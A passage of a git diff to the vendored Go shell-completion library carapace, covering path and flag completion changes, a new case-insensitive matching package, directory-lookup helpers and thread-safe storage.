+ "color210": "#ff8787",
+ "color211": "#ff87af",
+ "color212": "#ff87d7",
+ "color213": "#ff87ff",
+ "color214": "#ffaf00",
+ "color215": "#ffaf5f",
+ "color216": "#ffaf87",
+ "color217": "#ffafaf",
+ "color218": "#ffafd7",
+ "color219": "#ffafff",
+ "color220": "#ffd700",
+ "color221": "#ffd75f",
+ "color222": "#ffd787",
+ "color223": "#ffd7af",
+ "color224": "#ffd7d7",
+ "color225": "#ffd7ff",
+ "color226": "#ffff00",
+ "color227": "#ffff5f",
+ "color228": "#ffff87",
+ "color229": "#ffffaf",
+ "color230": "#ffffd7",
+ "color231": "#ffffff",
+ "color232": "#080808",
+ "color233": "#121212",
+ "color234": "#1c1c1c",
+ "color235": "#262626",
+ "color236": "#303030",
+ "color237": "#3a3a3a",
+ "color238": "#444444",
+ "color239": "#4e4e4e",
+ "color240": "#585858",
+ "color241": "#626262",
+ "color242": "#6c6c6c",
+ "color243": "#767676",
+ "color244": "#808080",
+ "color245": "#8a8a8a",
+ "color246": "#949494",
+ "color247": "#9e9e9e",
+ "color248": "#a8a8a8",
+ "color249": "#b2b2b2",
+ "color250": "#bcbcbc",
+ "color251": "#c6c6c6",
+ "color252": "#d0d0d0",
+ "color253": "#dadada",
+ "color254": "#e4e4e4",
+ "color255": "#eeeeee",
+ }[color]
+}
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go
index 6e495189b0..4cde528e8e 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go
@@ -13,7 +13,7 @@ var sanitizer = strings.NewReplacer(
"\t", ``,
)
-// TODO verify these are correct/complete (copied from bash).
+// TODO verify these are correct/complete (copied from bash)
var quoter = strings.NewReplacer(
`\`, `\\`,
`&`, `\&`,
@@ -45,8 +45,9 @@ func quoteValue(s string) string {
return quoter.Replace(s)
}
-// ActionRawValues formats values for zsh.
+// ActionRawValues formats values for zsh
func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string {
+
tagGroup := make([]string, 0)
values.EachTag(func(tag string, values common.RawValues) {
vals := make([]string, len(values))
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go
index 7478166801..b159d4b98e 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go
@@ -8,7 +8,7 @@ import (
type namedDirectories map[string]string
-// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function.
+// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function
var NamedDirectories = make(namedDirectories)
func (nd *namedDirectories) match(s string) string {
@@ -18,12 +18,12 @@ func (nd *namedDirectories) match(s string) string {
return ""
}
-// Matches checks if given string has a known named directory prefix.
+// Matches checks if given string has a known named directory prefix
func (nd *namedDirectories) Matches(s string) bool {
return nd.match(s) != ""
}
-// Replace replaces a known named directory prefix with the actual folder.
+// Replace replaces a known named directory prefix with the actual folder
func (nd *namedDirectories) Replace(s string) string {
if match := nd.match(s); match != "" {
if !strings.HasSuffix(match, "/") {
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go
index 45dfb167b0..27611e3b01 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go
@@ -8,7 +8,7 @@ import (
"github.com/spf13/cobra"
)
-// Snippet creates the zsh completion script.
+// Snippet creates the zsh completion script
func Snippet(cmd *cobra.Command) string {
return fmt.Sprintf(`#compdef %v
function _%v_completion {
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go
index 0933b49800..c3848842ae 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go
+++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go
@@ -29,6 +29,7 @@ func (z zstyles) valueSGR(val common.RawValue) string {
return style.SGR(style.Carapace.Value)
}
return style.SGR(style.Default)
+
}
func (z zstyles) Format() string {
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go b/vendor/github.com/rsteube/carapace/internal/spec/command.go
similarity index 86%
rename from vendor/github.com/rsteube/carapace/internal/shell/spec/command.go
rename to vendor/github.com/rsteube/carapace/internal/spec/command.go
index 49eb17db98..f3db47b38d 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go
+++ b/vendor/github.com/rsteube/carapace/internal/spec/command.go
@@ -5,6 +5,8 @@ type Command struct {
Aliases []string `yaml:"aliases,omitempty"`
Description string `yaml:"description,omitempty"`
Group string `yaml:"group,omitempty"`
+ Hidden bool `yaml:"hidden,omitempty"`
+ ExclusiveFlags [][]string `yaml:"exclusiveflags,omitempty"`
Flags map[string]string `yaml:"flags,omitempty"`
PersistentFlags map[string]string `yaml:"persistentflags,omitempty"`
Completion struct {
diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go b/vendor/github.com/rsteube/carapace/internal/spec/spec.go
similarity index 86%
rename from vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go
rename to vendor/github.com/rsteube/carapace/internal/spec/spec.go
index 6f0fa22d7c..25bb037e06 100644
--- a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go
+++ b/vendor/github.com/rsteube/carapace/internal/spec/spec.go
@@ -9,7 +9,7 @@ import (
)
// Snippet generates the spec file.
-func Snippet(cmd *cobra.Command) string {
+func Spec(cmd *cobra.Command) string {
m, _ := yaml.Marshal(command(cmd))
return string(m)
}
@@ -20,34 +20,32 @@ func command(cmd *cobra.Command) Command {
Description: cmd.Short,
Aliases: cmd.Aliases,
Group: cmd.GroupID,
+ Hidden: cmd.Hidden,
Flags: make(map[string]string),
PersistentFlags: make(map[string]string),
Commands: make([]Command, 0),
}
- cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) {
- if flag.Hidden {
- return
- }
+ // TODO mutually exclusive flags
+ cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) {
if cmd.PersistentFlags().Lookup(flag.Name) != nil {
return
}
f := pflagfork.Flag{Flag: flag}
c.Flags[f.Definition()] = f.Usage
+
})
cmd.PersistentFlags().VisitAll(func(flag *pflag.Flag) {
- if flag.Hidden {
- return
- }
f := pflagfork.Flag{Flag: flag}
c.PersistentFlags[f.Definition()] = f.Usage
+
})
for _, subcmd := range cmd.Commands() {
- if !subcmd.Hidden {
+ if subcmd.Name() != "_carapace" && subcmd.Deprecated == "" {
c.Commands = append(c.Commands, command(subcmd))
}
}
diff --git a/vendor/github.com/rsteube/carapace/internalActions.go b/vendor/github.com/rsteube/carapace/internalActions.go
index be8048b9dc..e5b753aead 100644
--- a/vendor/github.com/rsteube/carapace/internalActions.go
+++ b/vendor/github.com/rsteube/carapace/internalActions.go
@@ -6,33 +6,33 @@ import (
"path/filepath"
"strings"
- "github.com/rsteube/carapace/internal/common"
+ "github.com/rsteube/carapace/internal/env"
"github.com/rsteube/carapace/internal/pflagfork"
"github.com/rsteube/carapace/pkg/style"
+ "github.com/rsteube/carapace/pkg/util"
"github.com/spf13/cobra"
)
func actionPath(fileSuffixes []string, dirOnly bool) Action {
return ActionCallback(func(c Context) Action {
+ if len(c.Value) == 2 && util.HasVolumePrefix(c.Value) {
+ // TODO should be fixed in Abs or wherever this is happening
+ return ActionValues(c.Value + "/") // prevent `C:` -> `C:.`
+ }
+
abs, err := c.Abs(c.Value)
if err != nil {
return ActionMessage(err.Error())
}
- displayFolder := filepath.Dir(c.Value)
-
- // Always try to trim/adapt for absolute Windows paths (starting with C:).
- // On all other platforms, adapt as usual
- displayFolder, trimmed := windowsDisplayTrimmed(abs, c.Value, displayFolder)
- if !trimmed {
- if displayFolder == "." {
- displayFolder = ""
- } else if !strings.HasSuffix(displayFolder, "/") {
- displayFolder = displayFolder + "/"
- }
+ displayFolder := filepath.ToSlash(filepath.Dir(c.Value))
+ if displayFolder == "." {
+ displayFolder = ""
+ } else if !strings.HasSuffix(displayFolder, "/") {
+ displayFolder = displayFolder + "/"
}
- actualFolder := filepath.Dir(abs)
+ actualFolder := filepath.ToSlash(filepath.Dir(abs))
files, err := ioutil.ReadDir(actualFolder)
if err != nil {
return ActionMessage(err.Error())
@@ -54,18 +54,14 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action {
}
if resolvedFile.IsDir() {
- // Use forward slahes regardless of the OS, since even Powershell understands them.
- slashed := filepath.ToSlash(displayFolder + file.Name() + "/")
- vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c))
+ vals = append(vals, displayFolder+file.Name()+"/", style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c))
} else if !dirOnly {
if len(fileSuffixes) == 0 {
fileSuffixes = []string{""}
}
for _, suffix := range fileSuffixes {
if strings.HasSuffix(file.Name(), suffix) {
- // Use forward slahes regardless of the OS, since even Powershell understands them.
- slashed := filepath.ToSlash(displayFolder + file.Name())
- vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c))
+ vals = append(vals, displayFolder+file.Name(), style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c))
break
}
}
@@ -75,7 +71,7 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action {
return ActionStyledValues(vals...).Invoke(Context{}).Prefix("./").ToA()
}
return ActionStyledValues(vals...)
- }).Tag("files").NoSpace('/')
+ })
}
func actionFlags(cmd *cobra.Command) Action {
@@ -86,11 +82,12 @@ func actionFlags(cmd *cobra.Command) Action {
flagSet := pflagfork.FlagSet{FlagSet: cmd.Flags()}
isShorthandSeries := flagSet.IsShorthandSeries(c.Value)
- needsMultipart := false
-
+ nospace := make([]rune, 0)
vals := make([]string, 0)
flagSet.VisitAll(func(f *pflagfork.Flag) {
switch {
+ case f.Hidden && !env.Hidden():
+ return // skip hidden flags
case f.Deprecated != "":
return // skip deprecated flags
case f.Changed && !f.IsRepeatable():
@@ -107,6 +104,9 @@ func actionFlags(cmd *cobra.Command) Action {
}
}
vals = append(vals, f.Shorthand, f.Usage, f.Style())
+ if f.IsOptarg() {
+ nospace = append(nospace, []rune(f.Shorthand)[0])
+ }
}
} else {
switch f.Mode() {
@@ -119,42 +119,17 @@ func actionFlags(cmd *cobra.Command) Action {
if f.Shorthand != "" && f.ShorthandDeprecated == "" {
vals = append(vals, "-"+f.Shorthand, f.Usage, f.Style())
}
-
- if strings.Contains(f.Name, ".") {
- needsMultipart = true
- }
}
})
if isShorthandSeries {
- return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace('*')
- }
-
- action := ActionStyledValuesDescribed(vals...)
-
- // multiparts completion for flags grouped with `.`
- if needsMultipart {
- action = action.MultiParts(".")
- }
-
- return action
- }).Tag("flags")
-}
-
-func actionSubcommands(cmd *cobra.Command) Action {
- return ActionCallback(func(c Context) Action {
- batch := Batch()
- for _, subcommand := range cmd.Commands() {
- if !subcommand.Hidden && subcommand.Deprecated == "" {
- group := common.Group{Cmd: subcommand}
- batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag()))
- for _, alias := range subcommand.Aliases {
- batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag()))
- }
+ if len(nospace) > 0 {
+ return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace(nospace...)
}
+ return ActionStyledValuesDescribed(vals...).Prefix(c.Value)
}
- return batch.ToA()
- })
+ return ActionStyledValuesDescribed(vals...).MultiParts(".") // multiparts completion for flags grouped with `.`
+ }).Tag("flags")
}
func initHelpCompletion(cmd *cobra.Command) {
@@ -170,12 +145,6 @@ func initHelpCompletion(cmd *cobra.Command) {
}
Gen(helpCmd).PositionalAnyCompletion(
- ActionCallback(func(c Context) Action {
- lastCmd, _, err := cmd.Find(c.Args)
- if err != nil {
- return ActionMessage(err.Error())
- }
- return actionSubcommands(lastCmd)
- }),
+ ActionCommands(cmd),
)
}
diff --git a/vendor/github.com/rsteube/carapace/invokedAction.go b/vendor/github.com/rsteube/carapace/invokedAction.go
index 0b1d603d69..eac1a32d27 100644
--- a/vendor/github.com/rsteube/carapace/invokedAction.go
+++ b/vendor/github.com/rsteube/carapace/invokedAction.go
@@ -6,6 +6,7 @@ import (
"github.com/rsteube/carapace/internal/common"
"github.com/rsteube/carapace/internal/export"
_shell "github.com/rsteube/carapace/internal/shell"
+ "github.com/rsteube/carapace/pkg/match"
)
// InvokedAction is a logical alias for an Action whose (nested) callback was invoked.
@@ -17,11 +18,11 @@ func (a InvokedAction) export() export.Export {
return export.Export{Meta: a.meta, Values: a.rawValues}
}
-// Filter filters given values (this should be done before any call to Prefix/Suffix as those alter the values being filtered)
+// Filter filters given values.
//
// a := carapace.ActionValues("A", "B", "C").Invoke(c)
// b := a.Filter([]string{"B"}) // ["A", "C"]
-func (a InvokedAction) Filter(values []string) InvokedAction {
+func (a InvokedAction) Filter(values ...string) InvokedAction {
a.rawValues = a.rawValues.Filter(values...)
return a
}
@@ -50,6 +51,15 @@ func (a InvokedAction) Prefix(prefix string) InvokedAction {
return a
}
+// Retain retains given values.
+//
+// a := carapace.ActionValues("A", "B", "C").Invoke(c)
+// b := a.Retain([]string{"A", "C"}) // ["A", "C"]
+func (a InvokedAction) Retain(values ...string) InvokedAction {
+ a.rawValues = a.rawValues.Retain(values...)
+ return a
+}
+
// Suffix adds a suffx to values (only the ones inserted, not the display values)
//
// carapace.ActionValues("apple", "melon", "orange").Invoke(c).Suffix("juice")
@@ -91,7 +101,7 @@ func (a InvokedAction) ToMultiPartsA(dividers ...string) Action {
uniqueVals := make(map[string]common.RawValue)
for _, val := range a.rawValues {
- if strings.HasPrefix(val.Value, c.Value) {
+ if match.HasPrefix(val.Value, c.Value) {
if splitted := tokenize(val.Value, dividers...); len(splitted) >= len(splittedCV) {
v := strings.Join(splitted[:len(splittedCV)], "")
d := splitted[len(splittedCV)-1]
diff --git a/vendor/github.com/rsteube/carapace/pkg/match/match.go b/vendor/github.com/rsteube/carapace/pkg/match/match.go
new file mode 100644
index 0000000000..1b458f81c0
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/match/match.go
@@ -0,0 +1,57 @@
+package match
+
+import (
+ "os"
+ "strconv"
+ "strings"
+)
+
+type Match int
+
+const (
+ CASE_SENSITIVE Match = iota
+ CASE_INSENSITIVE
+)
+
+func (m Match) Equal(s, t string) bool {
+ if m == CASE_INSENSITIVE {
+ strings.EqualFold(s, t)
+ }
+ return s == t
+
+}
+
+func (m Match) HasPrefix(s, prefix string) bool {
+ if m == CASE_INSENSITIVE {
+ return strings.HasPrefix(strings.ToLower(s), strings.ToLower(prefix))
+ }
+ return strings.HasPrefix(s, prefix)
+}
+
+func (m Match) TrimPrefix(s, prefix string) string {
+ if m.HasPrefix(s, prefix) {
+ return s[len(prefix):]
+ }
+ return s
+}
+
+var match = CASE_SENSITIVE
+
+func init() {
+ switch os.Getenv("CARAPACE_MATCH") {
+ case "CASE_INSENSITIVE", strconv.Itoa(int(CASE_INSENSITIVE)):
+ match = CASE_INSENSITIVE
+ }
+}
+
+func Equal(s, t string) bool {
+ return match.Equal(s, t)
+}
+
+func HasPrefix(s, prefix string) bool {
+ return match.HasPrefix(s, prefix)
+}
+
+func TrimPrefix(s, prefix string) string {
+ return match.TrimPrefix(s, prefix)
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/style/config.go b/vendor/github.com/rsteube/carapace/pkg/style/config.go
index 954c19da04..2babb77de8 100644
--- a/vendor/github.com/rsteube/carapace/pkg/style/config.go
+++ b/vendor/github.com/rsteube/carapace/pkg/style/config.go
@@ -100,7 +100,7 @@ var Carapace = carapace{
FlagOptArg: Yellow,
}
-// Highlight returns the style for given level (0..n).
+// Highlight returns the style for given level (0..n)
func (c carapace) Highlight(level int) string {
switch level {
case 0:
diff --git a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go
index d9e9220445..ad9a8300a5 100644
--- a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go
+++ b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go
@@ -3,6 +3,9 @@ package style
import "strings"
var keywords = map[string]*string{
+ "1": &Carapace.KeywordPositive,
+ "0": &Carapace.KeywordNegative,
+
"y": &Carapace.KeywordPositive,
"n": &Carapace.KeywordNegative,
@@ -22,8 +25,19 @@ var keywords = map[string]*string{
"full": &Carapace.KeywordPositive,
"empty": &Carapace.KeywordNegative,
- "strict": &Carapace.KeywordPositive,
- "loose": &Carapace.KeywordNegative,
+ "loose": &Carapace.KeywordPositive,
+ "strict": &Carapace.KeywordNegative,
+
+ "public": &Carapace.KeywordPositive,
+ "private": &Carapace.KeywordNegative,
+
+ "internal": &Carapace.KeywordPositive,
+ "external": &Carapace.KeywordNegative,
+
+ "asc": &Carapace.KeywordPositive,
+ "ascending": &Carapace.KeywordPositive,
+ "desc": &Carapace.KeywordNegative,
+ "descending": &Carapace.KeywordNegative,
"open": &Carapace.KeywordPositive,
"opened": &Carapace.KeywordPositive,
diff --git a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go
index 8d7745eaac..17aa0962a3 100644
--- a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go
+++ b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go
@@ -18,5 +18,6 @@ func ForLogLevel(s string, _ Context) string {
"crit": Carapace.LogLevelCritical,
"critical": Carapace.LogLevelCritical,
"fatal": Carapace.LogLevelFatal,
+ "panic": Carapace.LogLevelFatal,
}[strings.ToLower(s)]
}
diff --git a/vendor/github.com/rsteube/carapace/pkg/style/style.go b/vendor/github.com/rsteube/carapace/pkg/style/style.go
index 5210ce6551..c552aa95a7 100644
--- a/vendor/github.com/rsteube/carapace/pkg/style/style.go
+++ b/vendor/github.com/rsteube/carapace/pkg/style/style.go
@@ -55,7 +55,7 @@ var (
)
// Of combines different styles.
-func Of(s ...string) string { return strings.Join(s, " ") }
+func Of(s ...string) string { return strings.TrimSpace(strings.Join(s, " ")) }
// XTerm256Color returns a color from the xterm 256-color palette.
func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() }
@@ -64,9 +64,9 @@ func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() }
func TrueColor(r, g, b uint8) string { return ui.TrueColor(r, g, b).String() }
// SGR returns the SGR sequence for given style.
-func SGR(s string) string { return parseStyle(s).SGR() }
+func SGR(s string) string { return Parse(s).SGR() }
-func parseStyle(s string) ui.Style {
+func Parse(s string) ui.Style {
stylings := make([]ui.Styling, 0)
for _, word := range strings.Split(s, " ") {
if styling := ui.ParseStyling(word); styling != nil {
diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/git.go b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go
new file mode 100644
index 0000000000..5a2d694011
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go
@@ -0,0 +1,25 @@
+package traverse
+
+import (
+ "path/filepath"
+)
+
+// GitDir returns the location of the .git folder.
+func GitDir(tc Context) (string, error) {
+ if dir, ok := tc.LookupEnv("GIT_DIR"); ok {
+ return filepath.ToSlash(dir), nil
+ }
+ dir, err := GitWorkTree(tc)
+ if err == nil {
+ dir += "/.git"
+ }
+ return dir, err
+}
+
+// GitWorkTree returns the location of the root of the working directory for a non-bare repository.
+func GitWorkTree(tc Context) (string, error) {
+ if dir, ok := tc.LookupEnv("GIT_WORK_TREE"); ok {
+ return filepath.ToSlash(dir), nil
+ }
+ return Parent(".git")(tc)
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/os.go b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go
new file mode 100644
index 0000000000..f0e7d3cf9d
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go
@@ -0,0 +1,23 @@
+package traverse
+
+import "os"
+
+// UserHomeDir returns the current user's home directory.
+func UserHomeDir(tc Context) (string, error) {
+ return os.UserHomeDir()
+}
+
+// UserCacheDir returns the default root directory to use for user-specific cached data.
+func UserCacheDir(tc Context) (string, error) {
+ return os.UserCacheDir()
+}
+
+// UserConfigDir returns the default root directory to use for user-specific configuration data.
+func UserConfigDir(tc Context) (string, error) {
+ return os.UserConfigDir()
+}
+
+// TempDir returns the default directory to use for temporary files.
+func TempDir(tc Context) (string, error) {
+ return os.TempDir(), nil
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go
new file mode 100644
index 0000000000..cff9fe5c96
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go
@@ -0,0 +1,64 @@
+package traverse
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+
+ "github.com/spf13/pflag"
+)
+
+type Context interface {
+ Abs(s string) (string, error)
+ Getenv(key string) string
+ LookupEnv(key string) (string, bool)
+}
+
+// Parent returns the first parent directory containing any of the given names/directories.
+func Parent(names ...string) func(tc Context) (string, error) {
+ return func(tc Context) (string, error) {
+ wd, err := tc.Abs("")
+ if err != nil {
+ return "", err
+ }
+
+ for _, name := range names {
+ if dir, err := traverse(wd, name); err == nil {
+ return filepath.Dir(dir), nil
+ }
+ }
+ formattedNames := fmt.Sprintf("%#v", names)
+ formattedNames = strings.TrimPrefix(formattedNames, "[]string{")
+ formattedNames = strings.TrimSuffix(formattedNames, "}")
+ return "", errors.New("could not find parent directory containing any of: " + formattedNames)
+ }
+}
+
+// TODO also stop at `~`
+func traverse(path string, name string) (target string, err error) {
+ var absPath string
+ if absPath, err = filepath.Abs(path); err == nil {
+ target = filepath.ToSlash(absPath + "/" + strings.TrimSuffix(name, "/"))
+ if _, err = os.Stat(target); err != nil {
+ parent := filepath.Dir(absPath)
+ if parent != path {
+ return traverse(parent, name)
+ } else {
+ err = errors.New("could not find: " + name)
+ }
+ }
+ }
+ return
+}
+
+// Flag returns the value of given flag.
+func Flag(f *pflag.Flag) func(tc Context) (string, error) {
+ return func(tc Context) (string, error) {
+ if f == nil {
+ return "", errors.New("invalid argument [traverse.Flag]")
+ }
+ return f.Value.String(), nil
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go
new file mode 100644
index 0000000000..cbf8a0572d
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go
@@ -0,0 +1,23 @@
+package traverse
+
+import (
+ "path/filepath"
+)
+
+// XdgCacheHome returns the cache directory (fallback to UserCacheDir).
+func XdgCacheHome(tc Context) (dir string, err error) {
+ if dir = tc.Getenv("XDG_CACHE_HOME"); dir == "" {
+ dir, err = UserCacheDir(tc)
+ }
+ dir = filepath.ToSlash(dir)
+ return
+}
+
+// XdgConfigHome returns the home directory (fallback to UserConfigDir).
+func XdgConfigHome(tc Context) (dir string, err error) {
+ if dir = tc.Getenv("XDG_CONFIG_HOME"); dir == "" {
+ dir, err = UserConfigDir(tc)
+ }
+ dir = filepath.ToSlash(dir)
+ return
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/util/util.go b/vendor/github.com/rsteube/carapace/pkg/util/util.go
new file mode 100644
index 0000000000..34910afc43
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/util/util.go
@@ -0,0 +1,51 @@
+package util
+
+// TODO rename package update/optimize functions
+
+import (
+ "errors"
+ "os"
+ "path/filepath"
+ "runtime"
+ "strings"
+ "unicode"
+)
+
+// FindReverse traverses the filetree upwards to find given file/directory.
+func FindReverse(path string, name string) (target string, err error) {
+ var absPath string
+ if absPath, err = filepath.Abs(path); err == nil {
+ target = absPath + "/" + name
+ if _, err = os.Stat(target); err != nil {
+ parent := filepath.Dir(absPath)
+ if parent != path {
+ return FindReverse(parent, name)
+ } else {
+ err = errors.New("could not find: " + name)
+ }
+ }
+ }
+ return
+}
+
+// HasPathPrefix checks if given string has a path prefix.
+func HasPathPrefix(s string) bool {
+ return strings.HasPrefix(s, ".") ||
+ strings.HasPrefix(s, "/") ||
+ strings.HasPrefix(s, "~") ||
+ HasVolumePrefix(s)
+}
+
+// HasVolumePrefix checks if given path has a volume prefix (only for GOOS=windows).
+func HasVolumePrefix(s string) bool {
+ switch {
+ case runtime.GOOS != "windows":
+ return false
+ case len(s) < 2:
+ return false
+ case unicode.IsLetter(rune(s[0])) && s[1] == ':':
+ return true
+ default:
+ return false
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/pkg/x/x.go b/vendor/github.com/rsteube/carapace/pkg/x/x.go
new file mode 100644
index 0000000000..06d73009a0
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/pkg/x/x.go
@@ -0,0 +1,10 @@
+// Package x contains experimental functions
+package x
+
+import (
+ "github.com/rsteube/carapace/internal/export"
+ "github.com/spf13/cobra"
+)
+
+var ClearStorage func()
+var Complete func(cmd *cobra.Command, args ...string) (*export.Export, error)
diff --git a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go
index 7347a29cf1..7465ec3b2e 100644
--- a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go
+++ b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go
@@ -1,12 +1,16 @@
package xdg
-import "os"
+import (
+ "os"
+ "path/filepath"
+)
// UserCacheDir returns the cache base directory.
func UserCacheDir() (dir string, err error) {
if dir = os.Getenv("XDG_CACHE_HOME"); dir == "" {
dir, err = os.UserCacheDir()
}
+ dir = filepath.ToSlash(dir)
return
}
@@ -15,5 +19,6 @@ func UserConfigDir() (dir string, err error) {
if dir = os.Getenv("XDG_CONFIG_HOME"); dir == "" {
dir, err = os.UserConfigDir()
}
+ dir = filepath.ToSlash(dir)
return
}
diff --git a/vendor/github.com/rsteube/carapace/storage.go b/vendor/github.com/rsteube/carapace/storage.go
index 9673ffccd1..b937885e28 100644
--- a/vendor/github.com/rsteube/carapace/storage.go
+++ b/vendor/github.com/rsteube/carapace/storage.go
@@ -3,6 +3,7 @@ package carapace
import (
"fmt"
"strings"
+ "sync"
"github.com/rsteube/carapace/internal/common"
"github.com/rsteube/carapace/internal/uid"
@@ -14,33 +15,72 @@ import (
type entry struct {
flag ActionMap
+ flagMutex sync.RWMutex
positional []Action
- positionalAny Action
+ positionalAny *Action
dash []Action
- dashAny Action
+ dashAny *Action
preinvoke func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action
prerun func(cmd *cobra.Command, args []string)
bridged bool
+ initialized bool
}
type _storage map[*cobra.Command]*entry
-func (s _storage) get(cmd *cobra.Command) (e *entry) {
- var ok bool
- if e, ok = s[cmd]; !ok {
- e = &entry{}
- s[cmd] = e
+var storageMutex sync.RWMutex
+
+func (s _storage) get(cmd *cobra.Command) *entry {
+ storageMutex.RLock()
+ e, ok := s[cmd]
+ storageMutex.RUnlock()
+
+ if !ok {
+ storageMutex.Lock()
+ defer storageMutex.Unlock()
+ if e, ok = s[cmd]; !ok {
+ e = &entry{}
+ s[cmd] = e
+ }
}
- return
+ return e
}
+var bridgeMutex sync.Mutex
+
func (s _storage) bridge(cmd *cobra.Command) {
if entry := storage.get(cmd); !entry.bridged {
- cobra.OnInitialize(func() {
- registerValidArgsFunction(cmd)
- registerFlagCompletion(cmd)
- })
- entry.bridged = true
+ bridgeMutex.Lock()
+ defer bridgeMutex.Unlock()
+
+ if entry := storage.get(cmd); !entry.bridged {
+ cobra.OnInitialize(func() {
+ if !entry.initialized {
+ bridgeMutex.Lock()
+ defer bridgeMutex.Unlock()
+
+ if !entry.initialized {
+ registerValidArgsFunction(cmd)
+ registerFlagCompletion(cmd)
+ entry.initialized = true
+ }
+
+ }
+ })
+ entry.bridged = true
+ }
+ }
+}
+
+func (s _storage) hasFlag(cmd *cobra.Command, name string) bool {
+ if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() {
+ return s.hasFlag(cmd.Parent(), name)
+ } else {
+ entry := s.get(cmd)
+ entry.flagMutex.RLock()
+ defer entry.flagMutex.RUnlock()
+ _, ok := entry.flag[name]
+ return ok
}
}
@@ -48,7 +88,18 @@ func (s _storage) getFlag(cmd *cobra.Command, name string) Action {
if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() {
return s.getFlag(cmd.Parent(), name)
} else {
- a := s.preinvoke(cmd, flag, s.get(cmd).flag[name])
+ entry := s.get(cmd)
+ entry.flagMutex.RLock()
+ defer entry.flagMutex.RUnlock()
+
+ flagAction, ok := entry.flag[name]
+ if !ok {
+ if f, ok := cmd.GetFlagCompletionFunc(name); ok {
+ flagAction = ActionCobra(f)
+ }
+ }
+
+ a := s.preinvoke(cmd, flag, flagAction)
return ActionCallback(func(c Context) Action { // TODO verify order of execution is correct
invoked := a.Invoke(c)
@@ -81,6 +132,24 @@ func (s _storage) preinvoke(cmd *cobra.Command, flag *pflag.Flag, action Action)
return a
}
+func (s _storage) hasPositional(cmd *cobra.Command, index int) bool {
+ entry := s.get(cmd)
+ isDash := common.IsDash(cmd)
+
+ // TODO fallback to cobra defined completion if exists
+
+ switch {
